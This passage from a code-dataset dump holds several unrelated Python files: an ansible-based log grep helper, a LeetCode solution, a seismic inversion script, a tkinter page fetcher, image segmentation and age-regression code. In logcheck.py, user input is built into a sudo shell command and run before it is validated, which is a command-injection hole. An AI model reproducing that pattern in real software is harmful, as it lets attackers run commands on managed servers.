tails\")","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"11172633","text":"#conding=utf-8\nimport subprocess\nimport os,sys, time\n# sys.path.append(\"../\")\n# from logsquery import settings\nfrom django.conf import settings\nfrom .is_contains_characters import IsContainsCharacters\n# 导入time模块\n# import time\n# # 打印时间戳\n# print(time.time())\nfrom .write_file import WirteFile\nimport re\n\n\nclass ZuJianLogs(object):\n ANSIBLE_HOSTS=\"/etc/ansible/hosts\"\n # STATIC_FILES = os.path.join(settings.STATIC_ROOT+\"/files\")\n def __init__(self):\n self.nowtime = str(time.strftime('%y%m%d%H%M%S', time.localtime(time.time())))\n\n def grep(self,zjname,keywords,logsfile, hnum, tailhnum):\n '''\n grep 日志查询\n :param zjname:组件名称\n :param keywords: 关键字\n :param logsfile: 日志名称\n :return: 文件路径\n '''\n #获取关键字第一个因为,看下是不是命令,如果是的话则不执行操作\n\n cmd_tmp = keywords.strip().split()[0]\n self.check_cmd = \"which\" + \" \" + cmd_tmp\n self.retcode,self.output = subprocess.getstatusoutput(self.check_cmd)\n #self.ansible_tmp = \"ansible %s --sudo -f 10 -m shell -a \\\"grep %s %s\\\" \" % (zjname, keywords, logsfile)\n if self.retcode != 0:\n # self.ansible_cmd = \"ansible %s --sudo -f 10 -m shell -a \\'grep \\\"%s\\\" /usr/local/vvm/%s -C %s | tail -%s\\' \"\\\n self.ansible_cmd = \"ansible %s --sudo -f 10 -m shell -a \\'grep \\\"%s\\\" %s -C %s | tail -%s\\' \" \\\n %(zjname, keywords,logsfile, hnum, tailhnum)\n self.ansible_retcode, self.ansible_output = subprocess.getstatusoutput(self.ansible_cmd)\n #self.filename = keywords.replace(\" \", \"\") + \"_\" + self.nowtime + \".txt\"\n self.filename = re.sub(r'[/ :]*', '', keywords) + \"_\" + self.nowtime + \".txt\"\n self.logs_file = os.path.join(os.getcwd()+\"/queryapp/static/files/\"+self.filename)\n if IsContainsCharacters(zjname).get_ret() != 0 \\\n or IsContainsCharacters(logsfile).get_ret() != 0:\n content = '组件或者日志路径不允许输入 \" 号和 ; 号'\n wirte_file = WirteFile(self.logs_file, content)\n wirte_file.get_results_file()\n return self.logs_file\n\n self.write_file(self.ansible_output)\n # 判断是否存在改组件或者IP\n if len(self.ansible_output) < 300 and IsContainsCharacters(self.ansible_output).get_hosts() == 1:\n wirte_file = WirteFile(self.logs_file, \"ansible 配置没有该组件,请联系运维添加到/etc/ansible/hosts文件中!\")\n wirte_file.get_results_file()\n return self.logs_file\n\n else:\n self.logs_file = os.path.join(os.getcwd() + \"/queryapp/static/files/\" + self.nowtime + \"_error.log\")\n self.write_file(self.ansible_output)\n return self.logs_file\n\n def write_file(self, file_content):\n self.file_content = file_content\n with open(self.logs_file, \"w+\", encoding=\"utf-8\") as f:\n f.write(self.file_content + \"\\n\")\n #print(self.logs_file)\n\n def get_file_num(self, filename):\n filename = filename\n count = 0\n for count, line in enumerate(open(filename, 'rU', encoding='utf-8')):\n count += 1\n return count\n\n def input_is_null(self, key_tmp, name_tmp):\n '''\n 判断用户输入是否为空\n 为空:return 文件名\n 不为空:return True\n '''\n if key_tmp:\n return True\n else:\n self.logs_file = os.path.join(os.getcwd() + \"/queryapp/static/files/\"+self.nowtime+ \"_error.log\")\n self.write_file(\"%s不能为空\"%(name_tmp))\n return self.logs_file\n\n def get_radon(self):\n return self.ANSIBLE_HOSTS\n\n\n\n\n\n\n\n# logs_check = ZuJianLogs()\n# logs_check.grep(\"mtsms\",\"哈哈\",\"/data\")\n# # print(logs_check.retcode)\n# print(logs_check.ansible_cmd)\n# print(logs_check.ansible_output)\n# # print(logs_check.grep(\"mtsms\",\"haha\",\"/data\"))\n# print(logs_check.logs_file)\n# logs_check.write_file(\"111111\")\n#\n#\n# logs_check.grep(\"mtsms\",\"hehe\",\"/data\", 10)\n# print(logs_check.ansible_cmd)\n# print(logs_check.logs_file)\n# # logs_check.write_file(\"222222\")\n\n\n","sub_path":"queryapp/logcheck.py","file_name":"logcheck.py","file_ext":"py","file_size_in_byte":4294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"434972962","text":"class Solution:\n def subarraySum(self, nums: List[int], k: int) -> int:\n rsum = 0\n smap = {0: 1}\n count = 0\n\n for idx, val in enumerate(nums):\n rsum += nums[idx]\n if (rsum - k) in smap:\n count += smap[rsum - k]\n if rsum not in smap:\n smap[rsum] = 1\n else:\n smap[rsum] += 1\n return count\n","sub_path":"Problem1.py","file_name":"Problem1.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"197578835","text":"# Std import block\nimport time\nimport pickle\nimport numpy as np\n\nimport copy\nimport sys\nimport scipy.io as sio\n\nfrom pysit import *\nfrom pysit.gallery import layered_gradient_medium\nfrom pysit.util.io import *\nfrom pysit.util.parallel import *\n\nfrom mpi4py import MPI\n\nif __name__ == '__main__':\n ExpDir = '.'\n\n comm = MPI.COMM_WORLD\n size = comm.Get_size()\n rank = comm.Get_rank()\n\n pwrap = ParallelWrapShot()\n\n if rank == 0:\n ttt = time.time()\n sys.stdout.write('Layer-Gradient model \\n')\n\n # Set up domain, mesh and velocity model\n m_param = { 'x_length' : 15.0,\n 'z_depth' : 4.0,\n 'velocity' : (1.5, 2.0, 4.0),\n 'layer_thickness' : (1.0, 1.0, 2.0),\n 'initial_model_style' : 'constant',\n 'initial_config' : {'velocity':1.5},\n }\n\n C, C0, m, d = layered_gradient_medium(model_param=m_param,\n dx = 0.05, dz = 0.05,\n initial_model_style=m_param['initial_model_style'], \n initial_config=m_param['initial_config'])\n\n if rank == 0:\n sys.stdout.write('initial_model_style = %s \\n' %m_param['initial_model_style'])\n sys.stdout.write('initial_config = %s \\n' %m_param['initial_config'])\n\n # Set up shots\n zmin = d.z.lbound\n zmax = d.z.rbound\n zpos = 0.05 * 1.0\n\n Nshots = size\n Nreceivers = 'max'\n Ric_freq = 10.0\n sys.stdout.write(\"{0}: {1}\\n\".format(rank, Nshots / size))\n\n shots = equispaced_acquisition(m,\n RickerWavelet(Ric_freq),\n sources=Nshots,\n source_depth=zpos,\n source_kwargs={},\n receivers=Nreceivers,\n receiver_depth=zpos,\n receiver_kwargs={},\n parallel_shot_wrap=pwrap,\n )\n\n # shots_freq = copy.deepcopy(shots)\n\n # Define and configure the wave solver\n t_range = (0.0,6.0)\n\n solver = ConstantDensityAcousticWave(m,\n spatial_accuracy_order=6,\n trange=t_range,\n kernel_implementation='cpp',\n ) \n\n # Generate synthetic Seismic data\n if rank == 0:\n sys.stdout.write('Model parameters setting: \\n')\n sys.stdout.write('Nshots = %d \\n' %Nshots)\n if Nreceivers == 'max':\n sys.stdout.write('Nreceivers = %d \\n' %m.x.n)\n else:\n sys.stdout.write('Nreceivers = %d \\n' %Nreceivers)\n sys.stdout.write('Ricker wavelet frequency = %.1f Hz \\n' %Ric_freq)\n sys.stdout.write('Recording time = %.1f s\\n' %t_range[1])\n sys.stdout.write('Generating data... \\n')\n\n initial_model = solver.ModelParameters(m,{'C': C0})\n generate_seismic_data(shots, solver, initial_model)\n wavefield_initial = comm.gather(shots[0].receivers.data, root=0)\n\n base_model = solver.ModelParameters(m,{'C': C})\n tt = time.time()\n generate_seismic_data(shots, solver, base_model)\n wavefield_true = comm.gather(shots[0].receivers.data, root=0)\n\n sys.stdout.write('{1}:Data generation: {0}s\\n'.format(time.time()-tt,rank))\n sys.stdout.flush()\n\n comm.Barrier()\n\n if rank == 0:\n tttt = time.time()-ttt\n sys.stdout.write('Total wall time: {0}\\n'.format(tttt))\n sys.stdout.write('Total wall time/shot: {0}\\n'.format(tttt/Nshots))\n\n ############# Set up objective function ##############\n ot_param = { 'sinkhorn_iterations' : 10000,\n 'sinkhorn_tolerance' : 1.0e-9,\n 'epsilon_maxsmooth' : 1.0e-5, # for the smoothing of the max(., 0)\n 'successive_over_relaxation' : 1.4,\n 'trans_func_type' : 'smooth_max', ## smooth_max ## exp ## square ## id ##\n 'epsilon_kl' : 1e-2,\n 'lamb_kl' : 0.1,\n 't_scale' : 20.0,\n 'x_scale' : 1.0,\n 'nt_resampling' : 128,\n 'sinkhorn_initialization' : True,\n # 'Noise' : False,\n 'N_receivers' : Nreceivers,\n 'filter_op' : False,\n 'freq_band' : [1, 30.0],\n }\n\n #### Least-squares objective function\n # if rank == 0:\n # print('Least-squares...')\n # objective = TemporalLeastSquares(solver, parallel_wrap_shot=pwrap)\n\n #### Sinkhorn-Divergence objective function\n if rank == 0:\n print('Sinkhorn Divergence...')\n print('Sinkhorn Divergence parameters setting:')\n print('trans_func_type = %s' %ot_param['trans_func_type'])\n print('sinkhorn_initialization = %s' %ot_param['sinkhorn_initialization'])\n print('sinkhorn_epsilon_kl = %.1f' %ot_param['epsilon_kl'])\n print('sinkhorn_lamb_kl = %.1f' %ot_param['lamb_kl'])\n print('sinkhorn_t_scale = %.1f' %ot_param['t_scale'])\n print('sinkhorn_x_scale = %.1f' %ot_param['x_scale'])\n print('sinkhorn_nt_resampling = %d' %ot_param['nt_resampling'])\n\n objective = SinkhornDivergence(solver, ot_param=ot_param, parallel_wrap_shot=pwrap)\n\n # Define the inversion algorithm\n line_search = 'backtrack'\n status_configuration = {'value_frequency' : 1,\n 'residual_frequency' : 1,\n 'residual_length_frequency' : 1,\n 'objective_frequency' : 1,\n 'step_frequency' : 1,\n 'step_length_frequency' : 1,\n 'gradient_frequency' : 1,\n 'gradient_length_frequency' : 1,\n 'run_time_frequency' : 1,\n 'alpha_frequency' : 1,\n }\n\n # print('Running GradientDescent...')\n # invalg = GradientDescent(objective)\n\n # print('Running PQN...')\n # bound = [1.5, 6.5]\n # Proj_Op1 = BoxConstraintPrj(bound)\n # invalg_1 = PQN(objective, proj_op=Proj_Op1, memory_length=10)\n\n if rank == 0:\n print('Running LBFGS...')\n \n invalg = LBFGS(objective, memory_length=10)\n initial_value = solver.ModelParameters(m, {'C': C0})\n # Execute inversion algorithm\n tt = time.time()\n\n nsteps = 100\n result = invalg(shots, initial_value, nsteps,\n line_search=line_search,\n status_configuration=status_configuration, verbose=True, write=True)\n\n initial_value.data = result.C\n C_cut = initial_value.without_padding().data\n C_inverted = C_cut.reshape(m.shape(as_grid=True)).transpose()\n\n ####################################################################################################\n # Save wavefield\n inverted_model = solver.ModelParameters(m,{'C': C_cut})\n generate_seismic_data(shots, solver, inverted_model)\n wavefield_inverted = comm.gather(shots[0].receivers.data, root=0)\n\n # SaveData\n if rank == 0:\n ############ Saving results ###########################\n with open('mesh.p', 'wb') as f:\n pickle.dump(m, f)\n\n conv_vals = np.array([v for k,v in list(invalg.objective_history.items())])\n\n initial_value.data = invalg.gradient_history[0].data\n gradient = initial_value.without_padding().data.reshape(m.shape(as_grid=True)).transpose()\n\n ns = int(np.shape(wavefield_true)[0]/2)\n\n output = {'conv': conv_vals,\n 'inverted': C_inverted,\n 'true': C.reshape(m.shape(as_grid=True)).transpose(),\n 'initial': C0.reshape(m.shape(as_grid=True)).transpose(),\n 'wavefield_true': wavefield_true[ns],\n 'wavefield_initial': wavefield_initial[ns],\n 'wavefield_inverted': wavefield_inverted[ns],\n 'gradient': gradient,\n 'x_range': [d.x.lbound, d.x.rbound],\n 'z_range': [d.z.lbound, d.z.rbound],\n 't_range': t_range,\n 'obj_name': objective.name(),\n }\n\n sio.savemat('./output.mat', output)\n","sub_path":"tests/layerGrad/layerGrad-sd.py","file_name":"layerGrad-sd.py","file_ext":"py","file_size_in_byte":8693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"51064295","text":"#Graphical User Interface\n\nfrom tkinter import *\nfrom urllib.request import urlopen\nimport urllib\nfrom bs4 import BeautifulSoup\nfrom tkinter import messagebox\nimport _tkinter\nwindow = Tk()\nwindow.geometry(\"600x500\")\ndef fetch_url():\n try:\n url_fetched = url.get()\n url_open =urlopen(url_fetched)\n html = url_open.read()\n bs = BeautifulSoup(html, 'lxml')\n t1.insert(1.0, bs.prettify())\n except ValueError:\n messagebox.showwarning('Error', 'Please Input a Valid URL')\n except _tkinter.TclError:\n messagebox.showwarning('Error', 'Please Input a Valid URL')\n except urllib.error.HTTPError:\n messagebox.showinfo('Error','Unable to fetch URL')\ndef reset():\n e1.delete(0, 'end')\n t1.delete(1.0,END)\nl1 = Label(window, text='Enter the url to extract code', pady=10)\nl1.grid(row=0, column=1)\nurl = StringVar()\ne1=Entry(window, textvariable=url)\ne1.grid(column=1, row=1)\nbtn1 = Button(window,text='GO',command=fetch_url)\nbtn1.grid(column=1,row=2)\nbtn2 = Button(window, text='CLEAR', command=reset)\nbtn2.grid(column=1, row=3)\nt1 = Text(window, pady=10)\nt1.grid(row=4, column=1)\nwindow.mainloop()","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"130146579","text":"import argparse\nimport glob\nimport os\nimport time\nimport json\n\nimport matplotlib.pyplot as plt\nimport torch\nfrom torchvision import transforms\nimport numpy as np\nfrom PIL import Image\nfrom tqdm import tqdm\n\nfrom models import fcn_resnet50\n\nIMG_FORMATS = ['bmp', 'jpg', 'jpeg', 'png', 'tif', 'tiff', 'dng', 'webp', 'mpo']\n\n\ndef time_synchronized():\n torch.cuda.synchronize() if torch.cuda.is_available() else None\n return time.time()\n\n\n@torch.no_grad()\ndef run(\n classes=1,\n weights='best_model.pth',\n source='./data/test',\n use_cuda=True,\n view_img=False,\n save=True,\n palette_path=\"./utils/palette.json\",\n out_path='./mask'\n):\n assert os.path.exists(weights), f\"weights {weights} not found.\"\n assert os.path.exists(source), f\"image {source} not found.\"\n assert os.path.exists(palette_path), f\"palette {palette_path} not found.\"\n os.makedirs(out_path, exist_ok=True)\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() and use_cuda else \"cpu\")\n print(\"using {} device.\".format(device))\n\n with open(palette_path, \"rb\") as f:\n pallette_dict = json.load(f)\n pallette = []\n for v in pallette_dict.values():\n pallette += v\n\n # create model\n aux = False # inference time not need aux_classifier\n model = fcn_resnet50(aux=aux, num_classes=classes + 1)\n # delete weights about aux_classifier\n weights_dict = torch.load(weights, map_location='cpu')['model']\n for k in list(weights_dict.keys()):\n if \"aux\" in k:\n del weights_dict[k]\n\n # load weights\n model.load_state_dict(weights_dict)\n model.to(device)\n model.eval()\n\n # run once\n y = model(torch.rand(1, 3, 224, 224).to(device))\n\n # from pil image to tensor and normalize\n data_transform = transforms.Compose([transforms.Resize((700, 1050)),\n transforms.ToTensor(),\n transforms.Normalize(mean=(0.485, 0.456, 0.406),\n std=(0.229, 0.224, 0.225))])\n\n # load img\n assert os.path.exists(source), \"data source: {} does not exists\".format(source)\n if os.path.isdir(source):\n files = sorted(glob.glob(os.path.join(source, '*.*')))\n elif os.path.isfile(source):\n files = [source]\n else:\n raise Exception(f'ERROR: {source} does not exist')\n\n images = [x for x in files if x.split('.')[-1].lower() in IMG_FORMATS]\n images = tqdm(images)\n image_list = []\n for img_path in images:\n img_name = img_path.split(os.sep)[-1]\n original_img = Image.open(img_path)\n img = data_transform(original_img)\n # expand batch dimension\n img = torch.unsqueeze(img, dim=0)\n\n t_start = time_synchronized()\n output = model(img.to(device))\n t_end = time_synchronized()\n print(\"inference+NMS time: {}\".format(t_end - t_start))\n\n prediction = output['out'].argmax(1).squeeze(0)\n prediction = prediction.to(\"cpu\").numpy().astype(np.uint8)\n mask = Image.fromarray(prediction)\n mask.putpalette(pallette)\n if view_img:\n # mask.show()\n plt.imshow(mask)\n plt.show()\n if save:\n mask.save(os.path.join(out_path, \"{}\".format(img_name)))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--weights', type=str, default='best_model.pth', help='the model path')\n parser.add_argument('--source', type=str, default='./data/test', help='test data path')\n parser.add_argument('--classes', type=int, default=1, help='num of classes')\n parser.add_argument('--use-cuda', type=bool, default=True)\n parser.add_argument('--view-img', type=bool, default=False)\n parser.add_argument('-s', '--save', type=bool, default=True)\n parser.add_argument('--out_path', type=str, default='runs/result', help='output path')\n parser.add_argument('--palette_path', type=str, default='palette.json')\n opt = parser.parse_args()\n run(**vars(opt))\n","sub_path":"metric_learning/Happy-Whale/fcn_mask/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"651743454","text":"# -*- coding: utf-8 -*-\nimport sys\nimport os\nimport codecs\nimport re\n\ntotalCount = 0\ntotalFile = 0\nfileType = '.py'\ndescLineBegin = '#'\ndescBlockBegin = r'\\'\\'\\''\ndescBlockEnd = r'\\'\\'\\''\nfileEncode = 'utf-8'\n\ndef main():\n DIR = os.getcwd()\n if len(sys.argv) >= 2:\n DIR = sys.argv[1]\n if os.path.exists(DIR) and os.path.isdir(DIR):\n print(u'目标目录:%s' % DIR)\n countDir(DIR)\n print(u'共 %d 个文件' % totalFile)\n print(u'共 %d 行代码' % totalCount)\n else:\n print(u'目标应该是一个目录!')\n\ndef isFileType(file):\n return len(fileType) + file.find(fileType) == len(file)\n\ndef countDir(DIR):\n for file in os.listdir(DIR):\n absPath = DIR + os.path.sep + file\n if os.path.exists(absPath):\n if os.path.isdir(absPath):\n countDir(absPath)\n elif isFileType(absPath):\n try:\n countFile(absPath)\n except UnicodeDecodeError:\n print('encode of %s is different, which is not supported in this version!')\n\ndef countFile(file):\n global totalCount\n global totalFile\n localCount = 0\n isInBlockNow = False\n f = codecs.open(file, 'r', fileEncode)\n for line in f:\n if (not isInBlockNow) and line.find(descLineBegin) == 0:\n pass\n elif (not isInBlockNow) and line.find(descBlockBegin) >= 0:\n if line.find(descBlockBegin) > 0:\n localCount += 1\n isInBlockNow = True\n elif isInBlockNow and line.find(descBlockEnd) >= 0:\n if line.find(descBlockEnd) + len(descBlockEnd) < len(line):\n localCount += 1\n isInBlockNow = False\n elif (not isInBlockNow) and len(re.sub('\\\\s+', '', line)) > 0:\n localCount += 1\n f.close()\n totalCount += localCount\n totalFile += 1\n print('%s : %d' % (file, localCount))\n\nif __name__ == '__main__':\n main()\n","sub_path":"totallines.py","file_name":"totallines.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"652154809","text":"import os\nimport argparse\nimport random\nimport functools\nimport math\nimport numpy as np\nfrom scipy import stats\nimport scipy.io as sio\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom torch import optim\nfrom torch.utils.data import DataLoader, Dataset\nimport torchvision\nimport torchvision.transforms as transforms\nimport torchvision.utils\n\n\n###############################################################################\n# Options | Argument Parser\n###############################################################################\nclass Options():\n def initialize(self, parser):\n parser.add_argument('--mode', type=str, default='train', help='train | test | visualize')\n parser.add_argument('--name', type=str, default='exp', help='experiment name')\n parser.add_argument('--dataroot', required=True, default='datasets/UTKFace', help='path to images')\n parser.add_argument('--datafile', type=str, default='', help='text file listing images')\n parser.add_argument('--dataroot_val', type=str, default='')\n parser.add_argument('--datafile_val', type=str, default='')\n parser.add_argument('--pretrained_model_path', type=str, default='pretrained_models/alexnet.pth', help='path to pretrained models')\n parser.add_argument('--use_pretrained_model', action='store_true', help='use pretrained model')\n parser.add_argument('--checkpoint_dir', type=str, default='checkpoints')\n parser.add_argument('--save_epoch_freq', type=int, default=10, help='frequency of saving checkpoints')\n parser.add_argument('--num_workers', type=int, default=8, help='number of workers for data loader')\n parser.add_argument('--init_type', type=str, default='normal', help='network initialization [normal|xavier|kaiming|orthogonal]')\n parser.add_argument('--num_classes', type=int, default=10, help='number of classes')\n parser.add_argument('--num_epochs', type=int, default=100, help='number of epochs')\n parser.add_argument('--batch_size', type=int, default=100, help='batch size')\n parser.add_argument('--lr', type=float, default=0.0002, help='learning rate')\n parser.add_argument('--which_epoch', type=str, default='latest', help='which epoch to load')\n parser.add_argument('--which_model', type=str, default='alexnet', help='which model')\n parser.add_argument('--n_layers', type=int, default=3, help='only used if which_model==n_layers')\n parser.add_argument('--nf', type=int, default=64, help='# of filters in first conv layer')\n parser.add_argument('--pooling', type=str, default='', help='empty: no pooling layer, max: MaxPool, avg: AvgPool')\n parser.add_argument('--loadSize', type=int, default=224, help='scale images to this size')\n parser.add_argument('--fineSize', type=int, default=224, help='scale images to this size')\n parser.add_argument('--gpu_ids', type=str, default='0', help='gpu ids: e.g. 0 0,1,2, 0,2. use -1 for CPU')\n parser.add_argument('--age_bins', nargs='+', type=int, default=[1, 11, 21, 31, 41, 51, 61, 71, 81, 91], help='list of bins, the (i+1)-th group is in the range [age_binranges[i], age_binranges[i+1]), e.g. [1, 11, 21, ..., 101], the 1-st group is [1, 10], the 9-th [91, 100], however, the 10-th [101, +inf)')\n parser.add_argument('--print_freq', type=int, default=50, help='print loss every print_freq iterations')\n parser.add_argument('--display_id', type=int, default=1, help='visdom window id, to disable visdom set id = -1.')\n parser.add_argument('--display_port', type=int, default=8097)\n parser.add_argument('--delta', type=float, default=0.05)\n parser.add_argument('--embedding_mean', type=float, default=0)\n parser.add_argument('--embedding_std', type=float, default=1)\n parser.add_argument('--cnn_dim', type=int, nargs='+', default=[64, 1], help='cnn kernel dims for feature dimension reduction')\n parser.add_argument('--cnn_pad', type=int, default=1, help='padding of cnn layers defined by cnn_dim')\n parser.add_argument('--cnn_relu_slope', type=float, default=0.8)\n parser.add_argument('--transforms', type=str, default='resize_affine_crop', help='scaling and cropping of images at load time [resize_and_crop|crop|scale_width|scale_width_and_crop]')\n parser.add_argument('--affineScale', nargs='+', type=float, default=[0.95, 1.05], help='scale tuple in transforms.RandomAffine')\n parser.add_argument('--affineDegrees', type=float, default=5, help='range of degrees in transforms.RandomAffine')\n parser.add_argument('--use_color_jitter', action='store_true', help='if specified, add color jitter in transforms')\n parser.add_argument('--no_flip', action='store_true', help='if specified, do not flip the images for data augmentation')\n\n return parser\n\n def get_options(self):\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n self.parser = self.initialize(parser)\n self.opt = self.parser.parse_args()\n self.opt.use_gpu = len(self.opt.gpu_ids) > 0 and torch.cuda.is_available()\n self.opt.isTrain = self.opt.mode == 'train'\n assert(self.opt.num_classes == len(self.opt.age_bins))\n # set age_bins\n self.opt.age_bins_with_inf = self.opt.age_bins + [float('inf')]\n # embedding normalization\n self.opt.embedding_normalize = lambda x: (x - self.opt.embedding_mean) / self.opt.embedding_std\n self.print_options(self.opt)\n return self.opt\n \n def print_options(self, opt):\n message = ''\n message += '--------------- Options -----------------\\n'\n for k, v in sorted(vars(opt).items()):\n comment = ''\n default = self.parser.get_default(k)\n if v != default:\n comment = '\\t[default: %s]' % str(default)\n message += '{:>25}: {:<30}{}\\n'.format(str(k), str(v), comment)\n message += '----------------- End -------------------'\n print(message)\n\n # save to the disk\n expr_dir = os.path.join(opt.checkpoint_dir, opt.name)\n if not os.path.exists(expr_dir):\n os.makedirs(expr_dir)\n file_name = os.path.join(expr_dir, 'opt.txt')\n with open(file_name, 'wt') as opt_file:\n opt_file.write(message)\n opt_file.write('\\n')\n\n\n###############################################################################\n# Dataset and Dataloader\n###############################################################################\nclass SiameseNetworkDataset(Dataset):\n def __init__(self, rootdir, source_file_path, transform=None):\n self.rootdir = rootdir\n self.source_file_path = source_file_path\n self.transform = transform\n with open(self.source_file_path, 'r') as f:\n self.source_file = f.readlines()\n\n def __getitem__(self, index):\n ss = self.source_file[index].split()\n imgA = Image.open(os.path.join(self.rootdir, ss[0])).convert('RGB')\n imgB = Image.open(os.path.join(self.rootdir, ss[1])).convert('RGB')\n label = int(ss[2])\n if self.transform is not None:\n imgA = self.transform(imgA)\n imgB = self.transform(imgB)\n return imgA, imgB, torch.LongTensor(1).fill_(label)\n\n def __len__(self):\n return len(self.source_file)\n\n\nclass SingleImageDataset(Dataset):\n def __init__(self, rootdir, source_file, transform=None):\n self.rootdir = rootdir\n self.transform = transform\n if source_file:\n with open(source_file, 'r') as f:\n self.source_file = f.readlines()\n else:\n self.source_file = os.listdir(rootdir)\n\n def __getitem__(self, index):\n imgA = Image.open(os.path.join(self.rootdir, self.source_file[index].rstrip('\\n'))).convert('RGB')\n if self.transform is not None:\n imgA = self.transform(imgA)\n return imgA, self.source_file[index]\n\n def __len__(self):\n return len(self.source_file)\n\n\n###############################################################################\n# Networks and Models\n###############################################################################\nclass RegressionNetwork(nn.Module):\n def __init__(self, base=None, pooling='avg', cnn_dim=[], cnn_pad=1, cnn_relu_slope=0.2):\n super(RegressionNetwork, self).__init__()\n self.pooling = pooling\n self.base = base\n if cnn_dim:\n conv_block = []\n nf_prev = base.feature_dim\n for i in range(len(cnn_dim)-1):\n nf = cnn_dim[i]\n conv_block += [\n nn.Conv2d(nf_prev, nf, kernel_size=3, stride=1, padding=cnn_pad, bias=True),\n nn.BatchNorm2d(nf),\n nn.LeakyReLU(cnn_relu_slope)\n ]\n nf_prev = nf\n conv_block += [nn.Conv2d(nf_prev, cnn_dim[-1], kernel_size=3, stride=1, padding=cnn_pad, bias=True)]\n self.cnn = nn.Sequential(*conv_block)\n feature_dim = cnn_dim[-1]\n else:\n self.cnn = None\n feature_dim = base.feature_dim\n self.feature_dim = feature_dim\n\n def forward(self, x):\n output = self.base.forward(x)\n if self.cnn:\n output = self.cnn(output)\n if self.pooling == 'avg':\n output = nn.AvgPool2d(output.size(2))(output)\n elif self.pooling == 'max':\n output = nn.MaxPool2d(output.size(2))(output)\n return output\n\n def load_pretrained(self, state_dict):\n # used when loading pretrained base model\n # warning: self.cnn won't be initialized\n self.base.load_pretrained(state_dict)\n\n\nclass AlexNetFeature(nn.Module):\n def __init__(self, pooling='max'):\n super(AlexNetFeature, self).__init__()\n self.pooling = pooling\n sequence = [\n nn.Conv2d(3, 64, kernel_size=11, stride=4, padding=2),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2),\n nn.Conv2d(64, 192, kernel_size=5, padding=2),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2),\n nn.Conv2d(192, 384, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(384, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(256, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2),\n ]\n self.features = nn.Sequential(*sequence)\n self.feature_dim = 256\n\n def forward(self, x):\n x = self.features(x)\n if self.pooling == 'avg':\n x = nn.AvgPool2d(x.size(2))(x)\n elif self.pooling == 'max':\n x = nn.MaxPool2d(x.size(2))(x)\n return x\n \n def load_pretrained(self, state_dict):\n # invoked when used as `base' in SiameseNetwork\n if isinstance(state_dict, str):\n state_dict = torch.load(state_dict)\n for key in list(state_dict.keys()):\n if key.startswith('classifier'):\n state_dict.pop(key)\n self.load_state_dict(state_dict, strict=False)\n\n\nclass ResNetFeature(nn.Module):\n def __init__(self, which_model):\n super(ResNetFeature, self).__init__()\n model = None\n feature_dim = None\n if which_model == 'resnet18':\n from torchvision.models import resnet18\n model = resnet18(False)\n feature_dim = 512 * 1\n elif which_model == 'resnet34':\n from torchvision.models import resnet34\n model = resnet34(False)\n feature_dim = 512 * 1\n elif which_model == 'resnet50':\n from torchvision.models import resnet50\n model = resnet50(False)\n feature_dim = 512 * 4\n elif which_model == 'resnet101':\n from torchvision.models import resnet101\n model = resnet101(False)\n feature_dim = 512 * 4\n elif which_model == 'resnet152':\n from torchvision.models import resnet152\n model = resnet152(False)\n feature_dim = 512 * 4\n delattr(model, 'fc')\n self.model = model\n self.feature_dim = feature_dim\n\n def forward(self, x):\n x = self.model.conv1(x)\n x = self.model.bn1(x)\n x = self.model.relu(x)\n x = self.model.maxpool(x)\n\n x = self.model.layer1(x)\n x = self.model.layer2(x)\n x = self.model.layer3(x)\n x = self.model.layer4(x)\n\n return x\n \n def load_pretrained(self, state_dict):\n # invoked when used as `base' in SiameseNetwork\n if isinstance(state_dict, str):\n state_dict = torch.load(state_dict)\n self.model.load_state_dict(state_dict, strict=False)\n\n\n###############################################################################\n# Helper Functions | Utilities\n###############################################################################\ndef imshow(img, text=None,should_save=False):\n npimg = img.numpy()\n plt.axis(\"off\")\n if text:\n plt.text(75, 8, text, style='italic', fontweight='bold',\n bbox={'facecolor': 'white', 'alpha': 0.8, 'pad': 10})\n plt.imshow(np.transpose(npimg, (1, 2, 0)))\n plt.show()\n\n\ndef show_plot(iteration, loss):\n plt.plot(iteration, loss)\n plt.show()\n\n\ndef weights_init(m):\n classname = m.__class__.__name__\n if classname.find('Conv') != -1:\n m.weight.data.normal_(0.0, 0.02)\n elif classname.find('Linear') != -1:\n m.weight.data.normal_(0.0, 0.02)\n elif classname.find('BatchNorm2d') != -1:\n m.weight.data.normal_(1.0, 0.02)\n m.bias.data.fill_(0)\n\n\ndef parse_age_label(fname, binranges):\n strlist = fname.split('_')\n age = float(strlist[0])\n l = None\n for l in range(len(binranges)-1):\n if (age >= binranges[l]) and (age < binranges[l+1]):\n break\n return l\n\n\ndef get_age(fname):\n strlist = fname.split('_')\n age = float(strlist[0])\n return age\n\n\ndef get_prediction(score):\n batch_size = score.size(0)\n score_cpu = score.detach().cpu().numpy()\n pred = stats.mode(score_cpu.argmax(axis=1).reshape(batch_size, -1), axis=1)\n return 